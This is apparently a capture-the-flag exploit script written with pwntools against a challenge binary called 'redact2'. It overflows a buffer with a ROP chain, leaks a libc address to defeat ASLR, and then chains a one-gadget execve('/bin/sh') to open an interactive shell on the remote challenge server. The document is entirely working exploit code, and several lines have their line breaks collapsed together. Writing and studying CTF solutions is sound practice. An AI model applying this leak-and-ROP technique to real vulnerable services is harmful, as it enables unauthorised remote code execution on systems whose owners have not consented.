```pythonfrom pwn import *
context.arch = 'amd64'context.log_level = 'DEBUG'
p = process('./redact2')p = remote('lac.tf', 31281)e = ELF('./redact2')libc = ELF('./libc.so.6')
# === first main ===
rop1 = ROP(e, badchars=b"\n")
rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc", [e.symbols["_ZSt4cout"], e.got['__libc_start_main']])rop1.raw(rop1.find_gadget(["ret"]))rop1.main()
info(rop1.dump())
p.sendlineafter("text: ", b"")
p.sendlineafter("placeholder: ", rop1.generatePadding(0, 72) + rop1.chain())p.sendlineafter("redact: ", b"0")
p.recv(1)leak = u64(p.recv(6).ljust(8, b'\x00'))info(hex(leak))libc.address = leak - libc.symbols['__libc_start_main']info(hex(libc.address))
# === second main ===
# 0xc961a execve("/bin/sh", r12, r13)# constraints:#   [r12] == NULL || r12 == NULL#   [r13] == NULL || r13 == NULLrop2 = ROP(e, badchars=b"\n")
rop2(r12=0, r13=0)rop2.raw(libc.address + 0xc961a) # one gadget 
info(rop2.dump())
p.sendlineafter("placeholder: ", rop2.generatePadding(0, 72) + rop2.chain())p.sendlineafter("redact: ", b"0")
p.interactive()```